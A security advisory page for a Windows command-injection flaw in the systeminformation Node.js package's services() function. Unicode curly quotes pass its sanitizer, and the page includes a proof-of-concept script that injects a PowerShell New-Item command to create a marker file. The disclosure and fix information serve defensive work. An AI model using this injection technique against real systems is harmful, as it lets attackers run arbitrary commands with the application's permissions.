systeminformation: Windows command injection in services() through Unicode quotation marks
Impact
The systeminformation package, version 5.33.15, has a command injection vulnerability on Windows. An attacker with access to the services() function can execute PowerShell commands with the Node.js process account's permissions. The vulnerability occurs due to incomplete sanitization of input strings.
Summarized by @cf/meta/llama-3.3-70b-instruct-fp8-fast. Verify details against the original sources.const fs = require('node:fs'); const path = require('node:path'); const si = require('systeminformation');
Affected packages
Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.
| Affected range | Recorded fix |
|---|---|
| Earlier releases before 5.33.16Semantic versions | 5.33.16 |
Version evidence: OSV · GHSA-3f7j-7jwc-fxfj
View original version evidence (0 explicit versions)
Affected products
Vendor version evidence. Product records are separate from automatic dependency matching.
sebhildebrandt · GitHub_M
systeminformation
1 range
sebhildebrandt · GitHub_M
systeminformation
Compare with this publisher’s ranges. This does not inspect your installation.
affected
< 5.33.16
Other versions: unknown
Original source description
Summary
On Windows, systeminformation@5.33.15 builds a PowerShell command using the value passed to services(). The default sanitizer removes ASCII quotes but keeps Unicode curly quotes, spaces, and parentheses. A crafted service name can use those characters to break out of the generated filter string and run a PowerShell expression. The expression runs with the permissions of the Node.js process.
This report confirms version 5.33.15. Other package versions have not been checked.
Details
In lib/processes.js, services() sanitizes the caller's string with sanitizeShellString() and later inserts each resulting name into a Get-CimInstance Win32_Service -Filter command. The Windows branch passes that command to util.powerShell().
The sanitizer in lib/util.js removes the ASCII double quote, but it does not remove U+201C or U+201D, the left and right curly double quotation marks. It also permits spaces and parentheses when called in its default, non-strict mode. PowerShell accepts the curly marks as string delimiters, so an input can end the filter string and place a command expression in the generated command.
For example, the input below uses curly quotation marks to end the generated filter string and execute New-Item. I reproduced this call on Windows against the checked-out systeminformation@5.33.15 source; it created a marker file with the Node.js process account.
Proof of concept
Run this on Windows in a disposable directory with Node.js and PowerShell available:
mkdir si-command-injection-repro
cd si-command-injection-repro
npm init -y
npm install systeminformation@5.33.15
Save the following as poc.cjs, then run node poc.cjs:
'use strict';
const fs = require('node:fs');
const path = require('node:path');
const si = require('systeminformation');
(async () => {
const markerName = `si-injection-${process.pid}.txt`;
const markerPath = path.join(process.cwd(), markerName);
fs.rmSync(markerPath, { force: true });
try {
await si.services(`not-a-service” (New-Item -Name ${markerName} -ItemType File -Force) “`);
console.log(`markerCreated=${fs.existsSync(markerPath)}`);
} finally {
fs.rmSync(markerPath, { force: true });
}
})().catch((error) => {
console.error(error);
process.exitCode = 1;
});
Expected output:
markerCreated=true
The Windows run returned an array and created the marker (markerCreated: true). A benign input left the marker absent. The script removes the marker afterward. I did not identify an application network route that forwards remote input to services(), so remote exploitability depends on the consuming application.
Impact
An application that passes attacker-controlled input to services() on Windows can execute PowerShell commands with the Node.js process account's permissions. Depending on that account, commands may read or change accessible files, alter application data, or disrupt the service. I searched this repository for HTTP servers, route handlers, and listener calls and found none. services() is exposed through the package API and getDynamicData(), so a consuming application could make the input network-reachable if it forwards request data. A separate loopback HTTP harness did trigger the command through a query parameter, but that server was test code and is not part of this repository. The project's docs/security.html already warns that arbitrary untrusted input to services() needs caution because package sanitization does not cover every case.
Inside the record
Evidence available
Describes the evidence in this view, not whether the product is safe.
Original records
CVE-2026-116576View the latest unmodified CVE JSON from the official source. It may be newer than this imported page.
cve.new JSON →Underlying weaknesses
The source’s classification of what caused the vulnerability.
Contributing organizations · 1
Assigning organization
What changed
Follow changesLarge field values are marked as truncated previews. Original source snapshots remain retained.